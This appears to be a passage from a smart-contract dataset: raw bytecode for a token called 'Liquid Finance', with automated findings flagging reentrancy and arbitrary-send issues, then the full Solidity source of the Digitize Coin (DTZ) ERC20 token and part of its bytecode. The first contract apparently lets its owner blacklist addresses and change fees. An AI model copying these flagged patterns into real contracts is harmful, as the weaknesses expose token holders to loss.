} | 0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105af578063db92dbb6146105c4578063dcb0e0ad146105d9578063dd62ed3e146105f9578063e8078d941461063f57600080fd5b8063a3f4782f1461053a578063a9059cbb1461055a578063b515566a1461057a578063c3c8cd801461059a57600080fd5b806373f54a11116100dc57806373f54a11146104aa5780638da5cb5b146104ca57806394b8d8f2146104e857806395d89b411461050857600080fd5b8063590f897e1461044a5780636fc3eaec1461046057806370a0823114610475578063715018a61461049557600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac579146103bb57806340b9a54b146103f457806345596e2e1461040a57806349bd5a5e1461042a57600080fd5b806327f3a72a14610349578063313ce5671461035e57806331c2d8471461038557806332d873d8146103a557600080fd5b8063104ce66d116101c1578063104ce66d146102c057806318160ddd146102f85780631940d0201461031357806323b872dd1461032957600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d4c69717569642046696e616e636560901b81525081565b60405161021e9190611851565b34801561027a57600080fd5b5061028e6102893660046118cb565b610654565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b93660046118f7565b61066a565b005b3480156102cc57600080fd5b506008546102e0906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561030457600080fd5b50678ac7230489e80000610214565b34801561031f57600080fd5b50610214600e5481565b34801561033557600080fd5b5061028e610344366004611919565b6106ec565b34801561035557600080fd5b50610214610740565b34801561036a57600080fd5b50610373600981565b60405160ff909116815260200161021e565b34801561039157600080fd5b506102be6103a0366004611970565b610750565b3480156103b157600080fd5b50610214600f5481565b3480156103c757600080fd5b5061028e6103d6366004611a35565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561040057600080fd5b50610214600a5481565b34801561041657600080fd5b506102be610425366004611a52565b6107dc565b34801561043657600080fd5b506009546102e0906001600160a01b031681565b34801561045657600080fd5b50610214600b5481565b34801561046c57600080fd5b506102be610845565b34801561048157600080fd5b50610214610490366004611a35565b610872565b3480156104a157600080fd5b506102be61088d565b3480156104b657600080fd5b506102be6104c5366004611a35565b61090a565b3480156104d657600080fd5b506000546001600160a01b03166102e0565b3480156104f457600080fd5b5060105461028e9062010000900460ff1681565b34801561051457600080fd5b50610261604051806040016040528060068152602001652634b8a334b760d11b81525081565b34801561054657600080fd5b506102be6105553660046118f7565b610978565b34801561056657600080fd5b5061028e6105753660046118cb565b6109ca565b34801561058657600080fd5b506102be610595366004611970565b6109d7565b3480156105a657600080fd5b506102be610af0565b3480156105bb57600080fd5b506102be610b26565b3480156105d057600080fd5b50610214610ce6565b3480156105e557600080fd5b506102be6105f4366004611a79565b610cfe565b34801561060557600080fd5b50610214610614366004611a96565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064b57600080fd5b506102be610d71565b6000610661338484610f39565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068a57600080fd5b600a548210801561069c5750600b5481105b6106a557600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106f984848461105d565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610728908490611ae5565b9050610735853383610f39565b506001949350505050565b600061074b30610872565b905090565b6008546001600160a01b0316336001600160a01b03161461077057600080fd5b60005b81518110156107d85760006005600084848151811061079457610794611afc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107d081611b12565b915050610773565b5050565b6008546001600160a01b0316336001600160a01b0316146107fc57600080fd5b6000811161080957600080fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461086557600080fd5b4761086f8161151e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108c05760405162461bcd60e51b81526004016108b790611b2d565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461092a57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161083a565b6008546001600160a01b0316336001600160a01b03161461099857600080fd5b66b1a2bc2ec5000082116109ab57600080fd5b67016345785d8a000081116109bf57600080fd5b600d91909155600e55565b600061066133848461105d565b6000546001600160a01b03163314610a015760405162461bcd60e51b81526004016108b790611b2d565b60005b81518110156107d85760095482516001600160a01b0390911690839083908110610a3057610a30611afc565b60200260200101516001600160a01b031614158015610a81575060075482516001600160a01b0390911690839083908110610a6d57610a6d611afc565b60200260200101516001600160a01b031614155b15610ade57600160056000848481518110610a9e57610a9e611afc565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610ae881611b12565b915050610a04565b6008546001600160a01b0316336001600160a01b031614610b1057600080fd5b6000610b1b30610872565b905061086f81611558565b6000546001600160a01b03163314610b505760405162461bcd60e51b81526004016108b790611b2d565b60105460ff1615610b6057600080fd5b600754610b809030906001600160a01b0316678ac7230489e80000610f39565b6007546001600160a01b031663f305d7194730610b9c81610872565b600080610bb16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610c19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c3e9190611b62565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbb9190611b90565b506010805460ff1916600117905542600f5566b1a2bc2ec50000600d5567016345785d8a0000600e55565b60095460009061074b906001600160a01b0316610872565b6008546001600160a01b0316336001600160a01b031614610d1e57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161083a565b6000546001600160a01b03163314610d9b5760405162461bcd60e51b81526004016108b790611b2d565b60105460ff1615610dab57600080fd5b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610e10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e349190611bad565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea59190611bad565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f169190611bad565b600980546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610f9b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108b7565b6001600160a01b038216610ffc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108b7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561109f57506001600160a01b03821660009081526005602052604090205460ff16155b80156110bb57503360009081526005602052604090205460ff16155b6110c457600080fd5b6001600160a01b0383166111285760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108b7565b6001600160a01b03821661118a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108b7565b600081116111ec5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108b7565b600080546001600160a01b0385811691161480159061121957506000546001600160a01b03848116911614155b156114bf576009546001600160a01b03858116911614801561124957506007546001600160a01b03848116911614155b801561126e57506001600160a01b03831660009081526004602052604090205460ff16155b156113aa5760105460ff166112c55760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016108b7565b600f544214156112f3576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d5482111561130257600080fd5b600e5461130e84610872565b6113189084611bca565b111561132357600080fd5b6001600160a01b03831660009081526006602052604090206001015460ff1661138b576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff161580156113c4575060105460ff165b80156113de57506009546001600160a01b03858116911614155b156114bf576113ee426015611bca565b6001600160a01b0385166000908152600660205260409020541061141157600080fd5b600061141c30610872565b905080156114a85760105462010000900460ff161561149f57600c5460095460649190611451906001600160a01b0316610872565b61145b9190611be2565b6114659190611c01565b81111561149f57600c5460095460649190611488906001600160a01b0316610872565b6114929190611be2565b61149c9190611c01565b90505b6114a881611558565b4780156114b8576114b84761151e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061150157506001600160a01b03841660009081526004602052604090205460ff165b1561150a575060005b61151785858584866116cc565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107d8573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061159c5761159c611afc565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116199190611bad565b8160018151811061162c5761162c611afc565b6001600160a01b0392831660209182029290920101526007546116529130911684610f39565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061168b908590600090869030904290600401611c23565b600060405180830381600087803b1580156116a557600080fd5b505af11580156116b9573d6000803e3d6000fd5b50506010805461ff001916905550505050565b60006116d883836116ee565b90506116e686868684611712565b505050505050565b600080831561170b5782156117065750600a5461170b565b50600b545b9392505050565b60008061171f84846117ef565b6001600160a01b0388166000908152600260205260409020549193509150611748908590611ae5565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611778908390611bca565b6001600160a01b03861660009081526002602052604090205561179a81611823565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117df91815260200190565b60405180910390a3505050505050565b6000808060646117ff8587611be2565b6118099190611c01565b905060006118178287611ae5565b96919550909350505050565b3060009081526002602052604090205461183e908290611bca565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561187e57858101830151858201604001528201611862565b81811115611890576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461086f57600080fd5b80356118c6816118a6565b919050565b600080604083850312156118de57600080fd5b82356118e9816118a6565b946020939093013593505050565b6000806040838503121561190a57600080fd5b50508035926020909101359150565b60008060006060848603121561192e57600080fd5b8335611939816118a6565b92506020840135611949816118a6565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561198357600080fd5b823567ffffffffffffffff8082111561199b57600080fd5b818501915085601f8301126119af57600080fd5b8135818111156119c1576119c161195a565b8060051b604051601f19603f830116810181811085821117156119e6576119e661195a565b604052918252848201925083810185019188831115611a0457600080fd5b938501935b82851015611a2957611a1a856118bb565b84529385019392850192611a09565b98975050505050505050565b600060208284031215611a4757600080fd5b813561170b816118a6565b600060208284031215611a6457600080fd5b5035919050565b801515811461086f57600080fd5b600060208284031215611a8b57600080fd5b813561170b81611a6b565b60008060408385031215611aa957600080fd5b8235611ab4816118a6565b91506020830135611ac4816118a6565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611af757611af7611acf565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611b2657611b26611acf565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600080600060608486031215611b7757600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ba257600080fd5b815161170b81611a6b565b600060208284031215611bbf57600080fd5b815161170b816118a6565b60008219821115611bdd57611bdd611acf565b500190565b6000816000190483118215151615611bfc57611bfc611acf565b500290565b600082611c1e57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c735784516001600160a01b031683529383019391830191600101611c4e565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220a5b805d4c18a1f67e9935f7b1c471a190f0c2af7b18682973126bc4452fb43ce64736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,655 |
0x664e6db4044f23c95de63ec299aaa9b39c59328d | pragma solidity 0.4.21;
// ----------------------------------------------------------------------------
// 'Digitize Coin - DTZ' token contract: https://digitizecoin.com
//
// Symbol : DTZ
// Name : Digitize Coin
// Total supply: 200,000,000
// Decimals : 18
//
//
// (c) Radek Ostrowski / http://startonchain.com - The MIT Licence.
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
}
/**
* @title CutdownToken
* @dev Some ERC20 interface methods used in this contract
*/
contract CutdownToken {
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
}
/**
* @title ApproveAndCallFallback
* @dev Interface function called from `approveAndCall` notifying that the approval happened
*/
contract ApproveAndCallFallback {
function receiveApproval(address _from, uint256 _amount, address _tokenContract, bytes _data) public returns (bool);
}
/**
* @title Digitize Coin
* @dev Burnable ERC20 token with initial transfers blocked
*/
contract DigitizeCoin is Ownable {
using SafeMath for uint256;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed _burner, uint256 _value);
event TransfersEnabled();
event TransferRightGiven(address indexed _to);
event TransferRightCancelled(address indexed _from);
event WithdrawnERC20Tokens(address indexed _tokenContract, address indexed _owner, uint256 _balance);
event WithdrawnEther(address indexed _owner, uint256 _balance);
event ApproveAndCall(address indexed _from, address indexed _to, uint256 _value, bytes _data);
string public constant name = "Digitize Coin";
string public constant symbol = "DTZ";
uint256 public constant decimals = 18;
uint256 public constant initialSupply = 200000000 * (10 ** decimals);
uint256 public totalSupply;
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) internal allowed;
//This mapping is used for the token owner and crowdsale contract to
//transfer tokens before they are transferable
mapping(address => bool) public transferGrants;
//This flag controls the global token transfer
bool public transferable;
/**
* @dev Modifier to check if tokens can be transfered.
*/
modifier canTransfer() {
require(transferable || transferGrants[msg.sender]);
_;
}
/**
* @dev The constructor sets the original `owner` of the contract
* to the sender account and assigns them all tokens.
*/
function DigitizeCoin() public {
owner = msg.sender;
totalSupply = initialSupply;
balances[owner] = totalSupply;
transferGrants[owner] = true;
}
/**
* @dev This contract does not accept any ether.
* Any forced ether can be withdrawn with `withdrawEther()` by the owner.
*/
function () payable public {
revert();
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) canTransfer public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) canTransfer public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) canTransfer public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) canTransfer public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Function to approve the transfer of the tokens and to call another contract in one step
* @param _recipient The target contract for tokens and function call
* @param _value The amount of tokens to send
* @param _data Extra data to be sent to the recipient contract function
*/
function approveAndCall(address _recipient, uint _value, bytes _data) canTransfer public returns (bool) {
allowed[msg.sender][_recipient] = _value;
emit ApproveAndCall(msg.sender, _recipient, _value, _data);
ApproveAndCallFallback(_recipient).receiveApproval(msg.sender, _value, address(this), _data);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
}
/**
* @dev Enables the transfer of tokens for everyone
*/
function enableTransfers() onlyOwner public {
require(!transferable);
transferable = true;
emit TransfersEnabled();
}
/**
* @dev Assigns the special transfer right, before transfers are enabled
* @param _to The address receiving the transfer grant
*/
function grantTransferRight(address _to) onlyOwner public {
require(!transferable);
require(!transferGrants[_to]);
require(_to != address(0));
transferGrants[_to] = true;
emit TransferRightGiven(_to);
}
/**
* @dev Removes the special transfer right, before transfers are enabled
* @param _from The address that the transfer grant is removed from
*/
function cancelTransferRight(address _from) onlyOwner public {
require(!transferable);
require(transferGrants[_from]);
transferGrants[_from] = false;
emit TransferRightCancelled(_from);
}
/**
* @dev Allows to transfer out the balance of arbitrary ERC20 tokens from the contract.
* @param _token The contract address of the ERC20 token.
*/
function withdrawERC20Tokens(CutdownToken _token) onlyOwner public {
uint256 totalBalance = _token.balanceOf(address(this));
require(totalBalance > 0);
_token.transfer(owner, totalBalance);
emit WithdrawnERC20Tokens(address(_token), owner, totalBalance);
}
/**
* @dev Allows to transfer out the ether balance that was forced into this contract, e.g with `selfdestruct`
*/
function withdrawEther() onlyOwner public {
uint256 totalBalance = address(this).balance;
require(totalBalance > 0);
owner.transfer(totalBalance);
emit WithdrawnEther(owner, totalBalance);
}
} | 0x6060604052600436106101245763ffffffff60e060020a60003504166306fdde038114610129578063095ea7b3146101b357806318160ddd146101e957806322cd8e9b1461020e57806323b872dd1461022d57806327e235e314610255578063313ce56714610274578063378dc3dc1461028757806342966c681461029a5780634ff7ff32146102b2578063566038fb146102d157806366188463146102f057806370a08231146103125780637362377b146103315780637627c9ad146103445780638da5cb5b1461036357806392ff0d311461039257806395d89b41146103a5578063a9059cbb146103b8578063af35c6c7146103da578063cae9ca51146103ed578063d73dd62314610452578063dd62ed3e14610474578063f2fde38b14610499575b600080fd5b341561013457600080fd5b61013c6104b8565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610178578082015183820152602001610160565b50505050905090810190601f1680156101a55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101be57600080fd5b6101d5600160a060020a03600435166024356104ef565b604051901515815260200160405180910390f35b34156101f457600080fd5b6101fc61058f565b60405190815260200160405180910390f35b341561021957600080fd5b6101d5600160a060020a0360043516610595565b341561023857600080fd5b6101d5600160a060020a03600435811690602435166044356105aa565b341561026057600080fd5b6101fc600160a060020a0360043516610761565b341561027f57600080fd5b6101fc610773565b341561029257600080fd5b6101fc610778565b34156102a557600080fd5b6102b0600435610787565b005b34156102bd57600080fd5b6102b0600160a060020a0360043516610841565b34156102dc57600080fd5b6102b0600160a060020a0360043516610989565b34156102fb57600080fd5b6101d5600160a060020a0360043516602435610a2b565b341561031d57600080fd5b6101fc600160a060020a0360043516610b5d565b341561033c57600080fd5b6102b0610b78565b341561034f57600080fd5b6102b0600160a060020a0360043516610c21565b341561036e57600080fd5b610376610cda565b604051600160a060020a03909116815260200160405180910390f35b341561039d57600080fd5b6101d5610ce9565b34156103b057600080fd5b61013c610cf2565b34156103c357600080fd5b6101d5600160a060020a0360043516602435610d29565b34156103e557600080fd5b6102b0610e59565b34156103f857600080fd5b6101d560048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610ebf95505050505050565b341561045d57600080fd5b6101d5600160a060020a03600435166024356110cb565b341561047f57600080fd5b6101fc600160a060020a03600435811690602435166111a4565b34156104a457600080fd5b6102b0600160a060020a03600435166111cf565b60408051908101604052600d81527f4469676974697a6520436f696e00000000000000000000000000000000000000602082015281565b60055460009060ff168061051b5750600160a060020a03331660009081526004602052604090205460ff165b151561052657600080fd5b600160a060020a03338116600081815260036020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015481565b60046020526000908152604090205460ff1681565b60055460009060ff16806105d65750600160a060020a03331660009081526004602052604090205460ff165b15156105e157600080fd5b600160a060020a03831615156105f657600080fd5b600160a060020a03841660009081526002602052604090205482111561061b57600080fd5b600160a060020a038085166000908152600360209081526040808320339094168352929052205482111561064e57600080fd5b600160a060020a038416600090815260026020526040902054610677908363ffffffff61125e16565b600160a060020a0380861660009081526002602052604080822093909355908516815220546106ac908363ffffffff61127316565b600160a060020a038085166000908152600260209081526040808320949094558783168252600381528382203390931682529190915220546106f4908363ffffffff61125e16565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60026020526000908152604090205481565b601281565b6aa56fa5b99019a5c800000081565b600160a060020a0333166000908152600260205260408120548211156107ac57600080fd5b5033600160a060020a0381166000908152600260205260409020546107d1908361125e565b600160a060020a0382166000908152600260205260409020556001546107fd908363ffffffff61125e16565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b6000805433600160a060020a0390811691161461085d57600080fd5b81600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156108ab57600080fd5b5af115156108b857600080fd5b5050506040518051915050600081116108d057600080fd5b600054600160a060020a038084169163a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561092a57600080fd5b5af1151561093757600080fd5b50505060405180515050600054600160a060020a039081169083167f340399c867affe8af8b81c9c8909476fe09e7810cea1aa1bd70f9b0b465a09cb8360405190815260200160405180910390a35050565b60005433600160a060020a039081169116146109a457600080fd5b60055460ff16156109b457600080fd5b600160a060020a03811660009081526004602052604090205460ff1615156109db57600080fd5b600160a060020a03811660008181526004602052604090819020805460ff191690557f865f9a3e5acb369194fb814788e7cdd5ad14d8def9907065e4fbb5fcf2d49007905160405180910390a250565b600554600090819060ff1680610a595750600160a060020a03331660009081526004602052604090205460ff165b1515610a6457600080fd5b50600160a060020a0333811660009081526003602090815260408083209387168352929052205480831115610ac057600160a060020a033381166000908152600360209081526040808320938816835292905290812055610af7565b610ad0818463ffffffff61125e16565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526002602052604090205490565b6000805433600160a060020a03908116911614610b9457600080fd5b50600160a060020a0330163160008111610bad57600080fd5b600054600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515610be057600080fd5b600054600160a060020a03167e427c0f965e4f144086694ed3a411df394e3dfa51cf4e74d9a70375bab91bb08260405190815260200160405180910390a250565b60005433600160a060020a03908116911614610c3c57600080fd5b60055460ff1615610c4c57600080fd5b600160a060020a03811660009081526004602052604090205460ff1615610c7257600080fd5b600160a060020a0381161515610c8757600080fd5b600160a060020a03811660008181526004602052604090819020805460ff191660011790557f50af31608823996ca2e3de4556476c372e2e6a6bdcc15d9f5c62ffcb412befdd905160405180910390a250565b600054600160a060020a031681565b60055460ff1681565b60408051908101604052600381527f44545a0000000000000000000000000000000000000000000000000000000000602082015281565b60055460009060ff1680610d555750600160a060020a03331660009081526004602052604090205460ff165b1515610d6057600080fd5b600160a060020a0383161515610d7557600080fd5b600160a060020a033316600090815260026020526040902054821115610d9a57600080fd5b600160a060020a033316600090815260026020526040902054610dc3908363ffffffff61125e16565b600160a060020a033381166000908152600260205260408082209390935590851681522054610df8908363ffffffff61127316565b600160a060020a0380851660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60005433600160a060020a03908116911614610e7457600080fd5b60055460ff1615610e8457600080fd5b6005805460ff191660011790557feadb24812ab3c9a55c774958184293ebdb6c7f6a2dbab11f397d80c86feb65d360405160405180910390a1565b60055460009060ff1680610eeb5750600160a060020a03331660009081526004602052604090205460ff165b1515610ef657600080fd5b600160a060020a03338116600081815260036020908152604080832094891680845294909152908190208690557f61670d416eb54c3cb4286cf48ae4fc24dd70cf0abd328a3ed507304e941fb74e90869086905182815260406020820181815290820183818151815260200191508051906020019080838360005b83811015610f89578082015183820152602001610f71565b50505050905090810190601f168015610fb65780820380516001836020036101000a031916815260200191505b50935050505060405180910390a383600160a060020a0316638f4ffcb1338530866040518563ffffffff1660e060020a0281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561105c578082015183820152602001611044565b50505050905090810190601f1680156110895780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15156110aa57600080fd5b5af115156110b757600080fd5b505050604051805150600195945050505050565b6005